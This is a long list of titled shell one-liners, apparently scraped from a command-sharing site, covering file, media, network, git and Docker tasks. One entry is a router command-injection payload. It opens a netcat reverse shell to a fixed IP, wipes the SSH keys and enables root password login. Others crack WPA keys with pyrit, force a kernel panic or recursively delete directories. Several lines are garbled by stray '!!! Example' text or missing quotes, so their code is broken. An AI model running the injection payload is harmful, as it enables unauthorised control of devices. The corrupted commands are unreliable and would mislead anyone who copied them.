convert -density 200 -compress jpeg -quality 20 test.pdf out.pdf
Show Available Disk Usage | Pretty Way
clear && df -h | grep /dev/sda1 | awk {'print $4'} | lolcat -a -s 10
Generate a sequence of numbers.
echo {1..99}
Observing the difference between kernel configs after make config was executed to see if anything was changed from last kernel config (Gentoo)
diff <(sort .config) <(sort .config.old) | awk '/^>.*(=|Linux)/ { $1=""; print }'
Geo Temp
curl -s www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com) | sed -e'1d;3d' -e's/C.*: \(.*\)/\1/' -e's/ /%20/g' -e"s/'/%27/g") | sed 's|.*<t.*f data="\([^"]*\)"/>.*|\1\n|'
log rm commands
function rm { workingdir=$( pwdx $$ | awk '{print $2}' ) /usr/bin/rm $* echo "rm $* issued at $(date) by the user $(who am i| awk '{print $1} ') in the directory ${workingdir}" >> /tmp/rm.out }
Writes ID3 tags with track numbers for mp3s in current directory
x="1" && z="`ls -l * | wc -l`"; for y in *.mp3; do `id3v2 --TRCK "$x/$z" "$y"`; x=$[$x+1]; done
Set ondemand governor for all cpu cores.
for i in `cat /proc/cpuinfo |grep processor|awk '{print $3}'`;do cpufreq-set -g ondemand $i;done
List all files in current dir and subdirs sorted by size
find . -ls | sort -k 7 -n
PulseAudio: set the volume via command line
pacmd set-sink-volume 0 0x10000
fbari
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=521826202&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
Grep through zip files
for file in `ls -t \`find . -name "*.zip" -type f\``; do found=`unzip -c "$file" | grep --color=always "PATTERN"`; if [[ $found ]]; then echo -e "${file}\n${found}\n"; fi done
Conversion of media stream
curl 'AudioStream' | ffmpeg -i - -acodec libvorbis file.ogg
Postfix: Mailboxes over quota in queue
postqueue -p | grep -A 1 "over quota" | grep @ | sort | uniq | tr --delete ' '
add POD stubs recursively to all Perl modules
find . -type file -name '*.pm' | xargs perl -p -i -e 'BEGIN{undef $/;} s/([;}])\s*\nsub (\w+)/$1\n\n=head2 $2\n\n=cut\n\nsub $2/g'
Use grep and aspell to help find crossword answers
grep -i "^c..ss.o..$" <(aspell dump master)
Last shutdown date and time of a system
last -x | grep shutdown | head -1
Run the last command as root
sudo $(history -p !!)
decompress to new file with gzip and progress
pv file.gz | gzip -d -c > file.out
unset all http proxy related environment variables in one go in the current shell
eval "unset $(printenv | grep -ioP '(?:https?|no)_proxy' | tr '\n' ' ')"
Add new files/directory to subversion repository
svn status | grep '^\?' | sed -e 's/^\?//g' | xargs svn add
force change password for all user
getent passwd|cut -d: -f1|xargs -n1 passwd -e
Auto export display when coming from SSH
[ -n "$SSH_CLIENT" ] && export DISPLAY=$(echo $SSH_CLIENT | awk '{ print $1 }'):0.0
count how many cat processes are running
pgrep -c cat
same as backspace and return
<ctrl+h> and <ctrl+j>
Let yourself read the logs under /var/log/apache2 (on Debian)
sudo usermod -a -G adm "$(whoami)"
use awk to replace field with it's md5sum
awk '{command="echo "$2"|md5sum" ;command | getline $2; close(command);sub(/[[:blank:]].*/,"",$2); print $0}'
list uniq extensions of files from the current directory
find . -type f |egrep '^./.*\.' |sed -e "s/\(^.*\.\)\(.*$\)/\2/" |sort |uniq
export key-value pairs list as environment variables
while read line; do export $line; done < <(cat input)
Convert Canon CR2 raw pictures to JPG
for i in *.CR2; do dcraw -c -a -h $i | ppmtojpeg > `basename $i CR2`JPG; echo $i done; done
Open Android Virtual Device Manager (Mac OS)
/usr/bin/java -Xmx256M -XstartOnFirstThread -Dcom.android.sdkmanager.toolsdir=android-sdk/tools -classpath android-sdk/tools/lib/sdkmanager.jar:android-sdk/tools/lib/swtmenubar.jar:android-sdk/tools/lib/x86_64/swt.jar com.android.sdkmanager.Main avd
Generate all possible combinations between aaa 999
echo {{a..z},{A..Z},{0..9}}{{a..z},{A..Z},{0..9}}{{a..z},{A..Z},{0..9}} | tr ' ' '\n'
Copy a file using dd and watch its progress
dd status=progress if=infile of=outfile bs=512
Test internet connection
if nc -zw1 google.com 443 2>/dev/null; then echo 'Connected!'; fi
Locate Hacked Files and Dump.
find . -type f -name '*.html' -exec grep -H HACKED {} \; > hacklog.txt
Today's date on a yearly calendar…
cal -y | tr '\n' '|' | sed "s/^/ /;s/$/ /;s/ $(date +%e) / $(date +%e | sed 's/./#/g') /$(date +%m | sed s/^0//)" | tr '|' '\n'
Quickly clean log files (assuming you don't want them anymore)
for file in `find /var/log/ -type f -size +5000k`; do echo " " > $file; done
Check the apt security keys
apt-key list
Extract all urls from last firefox sessionstore used in a portable way.
perl -lne 'print for /url":"\K[^"]+/g' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)
Test internet connectivity
ping 8.8.8.8
!!! Example "Multiline paragraph sort; with case insensitive option (-i)
gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i"){IGNORECASE=1; ARGC=1}};{Text[NR]=$0};END {asort(Text);for (i=1;i<=NR;i++) printf "%s\n\n",Text[i] }' -i<Zip.txt
Create a temp file
FILE=$(tempfile 2>/dev/null || echo .$RANDOM)
Gets the english pronunciation of a phrase
say() { wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?tl=en&q=$1"; gnome-terminal -x bash -c "totem output.mp3"; sleep 4; totem --quit;}
Get all links of a website
lynx -dump http://example.com/ | awk '/http/{print $2}' | sort -u
Add ofxAddons mentioned in source files, into addons.make
grep -hor ofx[a-zA-Z]*.h src/ | grep -o ofx[^\.]* >> addons.make
sets volume via command line
amixer -c 0 set Master 1dB+
Use Ruby version permanently
rvm --default use ruby-1.9.3
thunderbird commandline invocation to attach email
thunderbird -compose "attachment='file://`pwd`/$*'"
Convert serialized PHP data into JSON
php -r 'echo json_encode( unserialize( file_get_contents( "php://stdin" ) ) );'
To debug asterisk start process
bash -x /etc/init.d/asterisk start
Linux: find names non non-virtual network interfaces
ls -l /sys/class/net/ | grep /devices/ | grep -v /virtual/ | awk '{print $9}'
Recursively remove directories less than specified size
du | awk '{if($1<1028)print;}' | cut -d $'\t' -f 2- | tr "\n" "\0" | xargs -0 rm -rf
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
ssh user@host -c 'nc -l 55555 >> ~/.ssh/authorized_keys' & nc HOSTNAME 55555 < ~/.ssh/id_rsa.pub
Quickly clean log files (assuming you don't want them anymore)
for file in `find /var/log/ -type f -size +5000k`; do > $file; done
WPA/WPA2 ESSID and password automation with pyrit
gopyrit () { if [ $!!! Example "-lt 1 ]; then echo $0 '< list of ESSIDs >'; return -1; fi; for i in "$@"; do pyrit -e $i create_essid && pyrit batch; done; pyrit eval }
recursive transform all contents of files to lowercase
perl -e "tr/[A-Z]/[a-z]/;" -pi.save $(find . -type f)
Perl One Liner to Generate a Random IP Address
perl -e 'printf join ".", map int rand 256, 1 .. 4;'
Create a Christmas tree with perl
perl -MAcme::POE::Tree -e 'Acme::POE::Tree->new()->run()'
Mount a partitoned disk-image file
IMG="image.img";PART=1;mount -o loop,ro,offset=$(parted $IMG -s unit b print|awk '$1=='$PART' {sub(/B/,"",$2);print $2}') $IMG /mnt/whatever
Python unicode explain
import unicodedata; map(unicodedata.name, '\u2022'.decode('ascii'))
Join the lines with comma
paste -sd, <<< $'line1\nline2'
Get unique basewords from Hashcat pot
cut -f 2 -d ':' oclHashcat.pot | egrep -oi '[a-z]{1,20}' | sort | uniq > base.pot
slow down/speed up video file
mencoder -speed 2 -o output.avi -ovc lavc -oac mp3lame input.avi
Show first IPv4 address for an interface without CIDR mask
ip addr show dev eth0 | grep -E '\binet\b' | sed 's|.*inet \([^/]*\)/.*|\1|' | head -n 1
Send pop-up notifications on Gnome
zenity --info --text="I'am a popup"
Export only one SVG element by ID.
inkscape project.svg -z -j -i icon.svg -l b.svg
set timestamp in exif of a image
exiv2 -M"set Exif.Photo.DateTimeOriginal `date "+%Y:%m:%d %H:%M:%S"`" filename.jpg
Equivelant of a Wildcard
`ls`
Dump all of perl's config info
perl -le 'use Config; foreach $i (keys %Config) {print "$i : @Config{$i}"}'
Better "hours of video" summary for each file/dir in the current directory
for item in *;do echo -n "$item - ";find "$item" -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1 | xargs -d'\n' /usr/share/doc/mplayer/examples/midentify | grep ID_LENGTH | awk -F= '{sum+=$2} END {print(sum/60)}'; done | grep -v ' - 0$'
Say no to overwriting if cp -i is the default alias.
\cp something toSomeWhereElse
Kill all Zombie processes if they accept it!
kill -9 `ps xawo state=,pid=|sed -n 's/Z //p'`
!!! Example "Multiline unique paragraph sort; with case insensitive option (-i)
gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i")IGNORECASE=1;ARGC=1}{if (IGNORECASE)Text[tolower($0)]=$0;else Text[$0]=$0 };END {N=asort(Text);for(i=1;i<=N;i++)printf "%s\n\n",Text[i]}' -i<Test.txt
A list of IPs (only) that are online in a specific subnet.
nmap -sP 192.168.1.0/24 | awk "/^Host/"'{ print $3 }' |nawk -F'[()]' '{print $2}'
Append the line !!! Example "-- coding: utf-8 -- to a file
sed -i -e '1i \!!! Example "-*- coding: utf-8 -*-' yourfile.py
Get the IP address
ip a s eth0 | awk '/inet / {print $2} | sed -e 's/\/..//g'
Play a random avi file in the current directory tree
mplayer $(find . -iname '*.avi' | shuf -n1)
Print first pages from all files from a directory
lp -dhp -P1-1 -o media=a4 *
strips ogg audio from webm video ( no reencoding )
for file in "$@"; do name=$(basename "$file" .webm) echo ffmpeg -i $file -vn -c:a copy $name.ogg ffmpeg -i "$file" -vn -c:a copy "$name.ogg" done
Force Git to overwrite local files after fetch
git reset --hard origin/master
Recursively find files over a certain size and list in descending size order
find . -size +10M -type f -print0 | xargs -0 ls -Sshl1
Rotate images and adjust timestamps by +1 hour
jhead -autorot -ta+1 *
Get video information with ffmpeg
ffprobe -i filename.flv
hardcode dnsserver, no more rewriting of etc/resolv.conf
f="/etc/NetworkManager/NetworkManager.conf"; if ! grep ^dns $f > /dev/null; then sudo sed -i.bkp '/\[main\]/a dns=none' $f; fi
download and install the software package in one step
rpm -ivh 'http://www.website.com/path/to/desired_software_package.rpm'
See if your mac can run 64-bit && if it the kernel is loaded 64-bit
ioreg -l -p IODeviceTree | grep -o EFI[0-9]. && system_profiler SPSoftwareDataType |grep 64
Show which include directories your installation of Perl is using.
perl -le 'print join $/, @INC'
Do you really believe on Battery Remaining Time? Confirm it from time to time!
echo start > battery.txt; watch -n 60 'date >> battery.txt'
Set status in pidgin
purple-remote "setstatus?status=Available&message=Checking libpurple"
Get URLs matching some xmms2 search
xmms2 info $(xmms2 mlib search '<query>' | sed -ne 's/^00*\([1-9][0-9]*\).*$/\1/p') | awk -F' = ' '$1~/ url$/{print$2}'
Kill process by searching something from 'ps' command
pkill -f <process name>
Change directory by inode
cd $(find -inum inode_no)
Append a new line "FOOBAR" in all files matching the glob*
sed -i '$a\FOOBAR' *
pdfcount: get number of pages in a PDF file
pdftk file.pdf dump_data output | grep -i Num
Get the IP address
ip a s eth0 | awk -F"[/ ]+" '/inet / {print $3}'
Recursively find files over a certain age and list in descending size order
find . -mtime +7 -type f -print0 | xargs -0 ls -Sshl1
Funny way to use cowsay to offend people
fortune | cowsay -f sodomized-sheep
Convert a pdf image to a high-quality PNG
convert -density 300 -trim image.pdf -quality 100 image.png
Check if loopback network interface is working
sudo tcpdump -i lo -nv ip
Add new file under svn version control.
svn st | grep ^\? | awk '{print $2}' | xargs svn add
Resets terminal in its original state
^[c (ctrl-v esc-c)
append content of a file to itself
cat file | tee >> file
Say no to overwriting if cp -i is the default alias.
/bin/cp -n <from> <to>
Find and edit multiple files given a regex in vim buffers
vim `find . -iname '*.php'`
OS X: flush DNS cache
sudo killall -HUP mDNSResponder
Copy your public key to clipboard
xclip -sel clip < ~/.ssh/id_rsa.pub
find recently added files on OS X
mdfind 'kMDItemFSCreationDate >= $time.this_month'
my ip
curl ip.appspot.com
Find errors and packet loss on network cards
ethtool -S eth0 | egrep "(drop|disc|err|fifo|buf|fail|miss|OOB|fcs|full|frags|hdr|tso).*: [^0]"
oracle-java install with one line ( prompt for sudo if needed)
wget http://www.duinsoft.nl/pkg/pool/all/update-sun-jre.bin && sh ./update-sun-jre.bin
Find a file and delete it
find filename -execdir rm "{}" \;
Convert ogv video to avi using ffmpeg
ffmpeg -i input_demo.ogv -vcodec mpeg4 -qscale 0 -acodec libmp3lame my-demo-video.avi
Individually 7zip all files in current directory
for i in *.*; do 7z a "$i".7z "$i"; done
Find which package a file belongs to on Solaris
pkgchk -l -p <full path to the file>
How to watch files
watch -d 'ls -l'
snarf is a command line resource grabber.
snarf http://foo.bar.com/picture.jpg
Testing writing speed with dd
sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync`
Show the ndd ip settings of a solaris device
for i in `ndd /dev/ip \? | awk '{ print $1 }' | egrep -v "ip6|status|icmp|igmp|\?"` ; do echo $i `ndd -get /dev/ip $i` ; done | grep -v \?
forking a process from gnome-terminal detached from the terminal.
gnome-open . & disown
concatenate compressed and uncompressed logs
find /var/log/apache2 -name 'access.log*gz' -exec zcat {} \; -or -name 'access.log*' -exec cat {} \;
Perl One Liner to Generate a Random IP Address
perl -le '$,=".";print map int rand 256,1..4'
Join lines split with backslash at the end
tr -d '\\' | tr -d '\n'
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"
Change my shell to zsh
sudo usermod -s `which zsh` `whoami`
netcat - send tar archive remotely (sending side)
tar -cjf - $DIR | nc $HOST $PORT
find the number of files, date masked
for i in {1..31}; do ls -1 *${YYYY}${MM}`printf "%02d" $i`* | wc -l; done
Chrome, toggle default CSS style sheet
CSS=$HOME/.config/google-chrome/Default/User\ StyleSheets/Custom.css sh -c 'test -f "$CSS.off" && mv "$CSS.off" "$CSS" || mv "$CSS" "$CSS.off"'
Remove .sh file extension for files in current directory
rename 's/\.sh//' ./*
A function to find a file in the pwd downwards
fn() { find . -iname "*$1*" -print; }
Alias for git merge
alias gm="git merge"
Reset the favorite-scopes on the Ubuntu Phone
gsettings reset com.canonical.Unity.Dash favorite-scopes
Check executable shared library usage
ldd `which executable_program`
crop video using ffmpeg
ffmpeg -i my-demo-video.avi -filter:v "crop=820:750:200:0" -qscale 0 my-demo-video_cropped.avi
Empty a file with better compatibility
:>! filename
Hacking the Technicolor TG799vac (and unlocking features for openwrt)
::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit
ifrename
busybox nameif newname $(</sys/class/net/oldname/address)
A bash function to show the files most recently modified in the named (or current) directory
ls -t1 $* | head -1 ;
Realtime lines per second in a log file
tail -F /var/log/nginx/access.log | python -c 'exec("import sys,time\nl=0\ne=int(time.time())\nfor line in sys.stdin:\n\tt = int(time.time())\n\tl += 1\n\tif t > e:\n\t\te = t\n\t\tprint l\n\t\tl = 0")'
server's host key is not cached in the registry
plink -agent gist.github.com
netcat - receive tar archive remotely
nc -l $PORT | pv -b > archive.tar.bz2
change file format at one time
find $(YourPATH) -type f -exec dos2unix '{}' \;
print all available make targets
make --print-data-base --dry-run | awk -F':' '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]|$)/ {split($1,A,/ /);for(i in A)print A[i]}'
List members of a group
dsquery group -samid "Group_SAM_Account_Name" | dsget group -members -expand
Check your internet connection by pinging Google
ping -c 3 google.com
run logstash with docker
docker run --name=logstash \ -p 9200:9200 -p 554:514/udp -p 555:514 \ -v /log:/log pblittle/docker-logstash
Remove exited Docker containers
docker rm $(docker ps -aqf status=exited)
Make Ubuntu Phone root image read/write until reboot
sudo mount -o remount,rw /
sed 's:.*/::'
Print everything after last slash
get video info, e.g. number of frames
ffprobe -select_streams v -show_streams my-demo-video_cropped.mp4
Simply clean playlist
sed -e '/MP3$\|mp3$\|wma$\|flac$/!d' <filename_source> > <filename_destination>
Parallel Apache Benchmark
cat url_list.txt | parallel -k 'ab -n 10000 -c 15 {}'
Convert ip address in hexadecimal
gethostip 208.69.34.230 -x
Simple read and write test with Iozone
iozone -s 2g -r 64 -i 0 -i 1 -t 1
Find and replace recursivly a ignoring .svn
find . -type f -not -regex ".*\/.svn\/.*" -exec sed -i 's/oldstring/newstring/g' {} +
finding cr-lf files aka dos files with ^M characters
grep -UIlr "^M" *
Count files and folder
ls /var/log/ |wc -l
Pass the proxy server address as a prefix to wget
http_proxy=<proxy.server:port> wget <url>
Decode x{ABCD}-style Unicode escape sequences
perl -e "binmode(STDOUT, ':utf8'); print \"$@\""; echo !!! Example "newline
echo text in fancy manner
sayspeed() { for i in $(seq 1 `echo "$1"|wc -c`); do echo -n "`echo $1 |cut -c ${i}`"; sleep 0.1s; done; echo "";}
pdfappend: append multiple pdf files
pdftk 1.pdf 2.pdf cat output 12.pdf
restoring a directory from history
git checkout HEAD~2 -- /path/to/dir
Take and post a screenshot in 3 seconds to imgur using scrot
scrot -d 3 '/tmp/%Y-%m-%d_$wx$h.png' -e 'cat $f'|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*"
Recursively search your directory tree files for a string
alias gfind='find . -print0 | xargs -0 egrep -I '
Install Ruby dependencies from a Gemfile without Bundler
gem install -g
Find and delete all archives like file.ext.nco only if file.ext exists
find . -type f ! -iname "*.nco" -execdir bash -c ' if [ -f "{}.nco" ]; then rm -v "{}.nco"; fi' \;
Force laptop "idle" mode action when laptop lid is closed
echo 'LidSwitchIgnoreInhibited=no' > /etc/systemd/logind.conf.d/respect-inhibit-lid.conf
extract images from video with framerate r
ffmpeg -i my-demo-video_cropped.mp4 -r 15/1 pic%03d.png
Clear disk space by retaining only currently running Docker containers and only currently required Docker images.
sudo docker rm $(sudo docker ps -q -f status=exited); sudo docker rmi $(sudo docker images -q -f dangling=true)
show mysql process ids
mysql -s -e "show processlist" |awk '{print $1}'
Search for specific IPs taken form a text file within the apache access log
grep -E ":(`cat bnd-ips.txt | sed 's/\./\\./g' | tr '\n' '|'`)" access.log
Visualizing system performance data
vmstat 2 10 | awk 'NR > 2 {print NR, $13}' | gnuplot -e "set terminal png;set output 'v.png';plot '-' u 1:2 t 'cpu' w linespoints;"
Search pattern case insensitive
:/\c{pattern}
List file/directories in order of last accessed, in human readable terms
ls -lth podcasts/
Quick enter into a single screen session
alias screenr='screen -r $(screen -ls | egrep -o -e '[0-9]+' | head -n 1)'
Power cd - Add a couple of useful features to 'cd'
cd() { if [ -n "$1" ]; then [ -f "$1" ] && set -- "${1%/*}"; else [ -n "$CDDIR" ] && set -- "$CDDIR"; fi; command cd "$@"; }
find broken symbolic links
find . -type l | (while read FN ; do test -e "$FN" || ls -ld "$FN"; done)
Upload documents from linux to MS SHarepoint using curl
curl --ntlm -u <your Active-Directory-Domain>/<your-domain-username> -T /path/to/local/$FILE http://sharepoint.url.com/doc/library/dir/
Push to all remote repos with git
git remote | xargs -n 1 git push
pdftk append with handles
pdftk A=1.pdf B=2.pdf C=3.pdf cat C A output CA.pdf
List all symlinks and see where they link to
find -type l | xargs ls -l
Find the 10 lusers winners of the "I take up the most disk space" award
du -sh /home/*|sort -rh|head -n 10
avoid ssh hangs using jobs
for host in $MYHOSTS; do ping -q -c3 $H 2>&1 1>/dev/null && ssh -o 'AllowedAuthe ntications publickey' $host 'command1; command2' & for count in 1 2 3 4 5; do sleep 1; jobs | wc -l | grep -q ^0\$ && continue; done; kill %1; done
Go get those photos from a Picasa album (full size)
wget -O - "[PICASA ALBUM RSS LINK]" |sed 's/</\n</g' | grep media:content |sed 's/.*url='"'"'\([^'"'"']*\)'"'"'.*$/\1/' |awk -F'/' '{gsub($NF,"d/"$NF); print $0}'|wget -i -
vi show line numbers
:set number
This command uses dd, pv, and dialog command to display an updated progress bar while using the dd command. This is useful to see the status of a dd in progress when creating very large dumps or coping hard disk devices using dd command.
(pv -n /dev/sda | dd of=/dev/sdb bs=128M conv=notrunc,noerror) 2>&1 | dialog --gauge "Running dd command (cloning), please wait..." 10 70 0
function: permanent alias
function cmd () {echo 'alias '$1'="'${@:2}'"' >> $SH_ALIASES; . $SH_ALIASES }; . $SH_ALIASES;
Diff two directories by finding and comparing the md5 checksums of their contents.
diff -y --suppress-common-lines <(sort -k2 <(md5deep -r -b directory1)) <(sort -k2 <(md5deep -r -b directory2))
Make color transparent
mogrify -path ../png_transparent/ -fuzz 3.4% -transparent "#50566b" *.png
Display which distro is installed
test `uname` = Linux && lsb_release -a 2>/dev/null || ( test `uname` = SunOS && cat /etc/release || uname -rms )
Silently Execute a Shell Script that runs in the background and won't die on HUP/logout
(nohup your-command your-args &>/dev/null &)
Force file system check
touch /forcefsk
Merge ( directories [looking for improvement]
(cd SRC; find . -type d -exec mkdir TARGET/{} ";"; find . -type f -exec mv {} TARGET/{} ";")
60 second on screen timer for bash scripts
i=60;while [ $i -gt 0 ];do if [ $i -gt 9 ];then printf "\b\b$i";else printf "\b\b $i";fi;sleep 1;i=`expr $i - 1`;done
cat without comments
cat /etc/squid/squid.conf | grep -v '^#' | sed '/^$/d'
revert the unstaged modifications in a git working directory
git diff | git apply --reverse
Change wallpaper random
feh --bg-scale "`ls -d $HOME/backgrounds/* |sort -R |tail -1`"
Force a kernel panic
echo c > /proc/sysrq-trigger
Split an image in half for use on dual screens (mostly for use under KDE which treats each screen separately)
convert yourdoublewideimage.jpg -crop 50%x100% +repage output.jpg
Create a git commit with no message
git commit --allow-empty-message --message ""
Daemonize Node.js apps and ease your system administration workflow
pm2 start app.js
Live stream a remote video device over ssh using ffmpeg
ssh user@host ffmpeg -b 200 -an -f video4linux2 \ -s 960x720 -r 10 -i /dev/video0 -b 200 -f ogg - \ | mplayer - -idle -demuxer ogg
check open ports without netstat or lsof
declare -a array=($(tail -n +2 /proc/net/tcp | cut -d":" -f"3"|cut -d" " -f"1")) && for port in ${array[@]}; do echo $((0x$port)); done | sort | uniq
create video from image series
ffmpeg -f image2 -r 15 -i pic.%04d.png -r 15 -b:v 8M vid15.avi
Download a zipped file and extract it in one line
curl -Ss https://releases.hashicorp.com/packer/1.0.0/packer_1.0.0_linux_amd64.zip | zcat > packer
Print all git repos from a user
curl -s "https://api.github.com/users/<username>/repos?per_page=1000" | python <(echo "import json,sys;v=json.load(sys.stdin);for i in v:; print(i['git_url']);" | tr ';' '\n')
One liner gdb attach to Acrobat
(acroread &);sleep 2;gdb /opt/Adobe/Reader8/Reader/intellinux/bin/acroread `pidof ld-linux.so.2`
Calculator on the go
echo 2+3 |bc
List your largest installed packages (on Debian/Ubuntu)
perl -ne '$pkg=$1 if m/^Package: (.*)/; print "$1\t$pkg\n" if m/^Installed-Size: (.*)/;' < /var/lib/dpkg/status | sort -rn | less
shows the full path of shell commands
type <command>
Find PHP files
find . -name "*.php" -exec grep -i -H "search pharse" {} \;
Handling oracle alter log file
awk '{if ($1~/Sun|Mon|Tue|Wed|Thu|Fri|Sat/) {DATE=$2" "$3" "$4" "$5 } else {print DATE"|"$0}}' alterorcl.log
Displays All TCP and UDP Connections
sudo netstat|head -n2|tail -n1 && sudo netstat -a|grep udp && echo && sudo netstat|head -n2|tail -n1 && sudo netstat -a|grep tcp
Remove the first and the latest caracter of a string
echo foobar | sed -r 's/(^.|.$)//g'
Fast way to get the product of every number in a file
(sed 's/^/x*=/' file ; echo x) | bc
Display count of log entries via the previous minute for graphing purposes. Example given is for DHCPREQUESTS on an ISC dhcp service log.
DATE=`date +"%H:%M" --date '-1 min'`; egrep "\ $DATE\:..\ " /var/log/dhcpd.log |awk '/DHCPREQUEST/ {split($3,t,":"); printf("%02d:%02d\n",t[1],t[2]);}' |uniq -c;
Hex Dump
hexdump -C file
Localize a Public IP on a specific interface
(date "+%d-%m-%Y %H:%M:%S";curl -s --interface lo:1 ifconfig.me| xargs -t geoiplookup 2>&1)|sed -e 's/geoiplookup/IP:/g' -e 's/GeoIP Country Edition/Country/g'|tr -s "\n" " "|sed 'a\ '
redirect STDOUT and STDERR to STDOUT and also to a file
command_line 2>&1 | tee -a output_file
My git log alias
git log --graph --decorate --pretty=oneline --abbrev-commit
relax with philosophy while taking a dig
for i in `seq 1 100`; do echo "I think therefore I am" | espeak; done
Remove excess noise from a set of mp4 videos.
for f in input/*; do BN=$(basename "$f"); ffmpeg -i "$f" -vn "temp/$BN.flac"...
count files and directories disk space usage
du -ahc
replace color in image sequence
mogrify -path ../png_white/ -fuzz 3.5% -fill white -opaque "#50566b" *.png
Prepend text to stdout of running job
nginx 2>&1 | awk '{print "[NGINX] " $0}' &
kill the first docker container in docker ps
docker kill $(docker ps -q)
find&grep all in once
#!/bin/bash find | grep -P -v "(class)|(zip)|(png)|(gz)|(gif)|(jpeg)|(jpg)" | xargs -I @ grep -H $1 @
Terminate script or shell if not launched as root
if [[ $EUID -ne 0 ]]; then echo 'Root permissions required! Exiting.'; exit; fi
Spotlight Server Disabled
cd /System/Library/LaunchDaemons; sudo launchctl load -w com.apple.metadata.mds.plist
umount –rbind mount with submounts
for i in `cat /proc/mounts | awk '{print $2}' | grep ${CDIR} |sort -r` ; do umount $i; done
Tar - Compress by excluding folders
tar -cvf /path/dir.tar /path/dir* --exclude "/path/dir/name" --exclude "/path/dir/opt"
Get iPhone OS firmware URL (.ipsw)
get-ipsw(){ curl -s -L http://phobos.apple.com/version | sed -rn "s|[\t ]*<string>(http://appldnld\.apple\.com\.edgesuite\.net/content\.info\.apple\.com/iPhone[0-9]?/[^/]*/$1$2_$3_[A-Z0-9a-z]*_Restore\.ipsw)</string>|\1|p" | uniq; }
Get a file's type and metadata
file <filename>
list each file/directory size in a directory
ls | xargs -I{} du -sh {}
Push current task to background (paused) and resume it.
<CTRL+Z>; fg
Use ping to test if a server is up
if [ "$(ping -q -c1 google.com)" ];then wget -mnd -q http://www.google.com/intl/en_ALL/images/logo.gif ;fi
Convert wma to wav
for i in *.wma; do mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader:file="${i%.wma}.wav" "$i" ; done
Show seconds since modified of newest modified file in directory
echo $(( $( date +%s ) - $( stat -c %Y * | sort -nr | head -n 1 ) ))
lsof - cleaned up for just open listening ports, the process, and the owner of the process
alias oports="echo -e "User:\tCommand:\tPort:\n----------------------------" && lsof -i 4 -P -n | awk '/LISTEN/ {print $3, $1, $9}' | sed 's/ [a-z0-9\.\*]*:/ /' | sort -u -k 3 -n | xargs printf '%-10s %-10s %-10s\n'"
Get video information with ffmpeg
mp4box -info video.mp4
Binary digits Matrix effect
perl -e 'use Term::ANSIColor;$|++; while (1) { print color("green")," " x (rand(35) + 1), int(rand(2)), color("reset") }'
bash function to check for something every 5 seconds
watch -n <seconds> <command>
Play a stream and give back the shell
wget http://somesite.com/somestream.pls; cvlc somestream.pls&sleep 5; rm somestream.pls*
Slow down IO heavy process
slow () { [ -n $1 ] && while kill -STOP $1; do sleep 1; kill -CONT $1; sleep 1; done }
Store mp3 playlist on variable and play with mpg123
PLAYLIST=$(ls -1) ; mpg123 -C $PLAYLIST
Get just the IP for a hostname
host foo.com|grep " has address "|cut -d" " -f4
Find a process by name and automatically kill it
ps aux | grep name | grep -v grep | awk '{print $2}' | xargs kill -9
Make a statistic about the lines of code
find . -type f -name '*.c' -exec wc -l {} \; | awk '{sum+=$1} END {print sum}'
Static Yubikey 2.2 Password Using Programming Slot 1
ykpersonalize -1 -ostatic-ticket -ostrong-pw1 -ostrong-pw2
IP:PORT to IP:PORT:COUNTRY using geoiplookup
for IP in `cat ip.txt|awk -F: '{print $1}'`; do geoiplookup -f /usr/local/share/GeoIP/GeoIP.dat $IP|awk -F, '{print $2}'>>out.txt; done; paste -d ":" ip.txt out.txt>zoom.txt
Traffic stat on ethernet interface
ethtool -S eth0
Set default "New Page" as HTML in TextMate
defaults write com.macromates.textmate OakDefaultLanguage 17994EC8-6B1D-11D9-AC3A-000D93589AF6
remove files and directories with acces time older than a given time
find -amin +[n] -delete
List your installed Firefox extensions
grep -hIr -m 1 :name ~/.mozilla/firefox/*.$USER/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u
Quickly check a device in a LVM volume group against multipath
pvscan | awk '/name_of_vg/ {print $2}' | sed 's/[-|/|]/ /g' | cut -d " " -f7
Get just the IP for a hostname
gethostip -d hostname
Change MySQL Pager For Nicer Output
In MySQL client, \P less -S
Setup Vim environment for USACO coding
alias viaco='task="$(basename "$(pwd)")"; if [ -f "$task.c" ]; then vi -c "set mouse=n" -c "set autoread" -c "vsplit $task.out" -c "split $task.in" -c "wincmd l" -c "wincmd H" $task.c; fi'
tiny proxy in shell to receive on port and write on unix socket
mk
Partition a new disk as all one partition tagged as "LInux LVM"
echo -e "n\np\n1\n\n\nt\n8e\nw" | fdisk /dev/sdX
tiny proxy in shell to receive on port and write on unix socket
mknod replypipe p; nc -k -lp 1234 < replypipe| nc -U /var/run/mysocket.sock > replypipe
rename file to *.old
mv filename{,.old}
extract links from a google results page saved as a file
gsed -e :a -e 's/\(<\/[^>]*>\)/\1\n/g;s/\(<br>\)/\1\n/g' page2.txt | sed -n '/<cite>/p;s/<cite>\(.*\)<\/cite>/\1/g' >> output
Launch a Java .jar App
java -jar /path/to/filename.jar
Randomize lines (opposite of | sort)
ls -1 | xargs ruby -e'puts ARGV.shuffle'
rows2columns
perl -le 'print join ", ", map { chomp; $_ } <>'
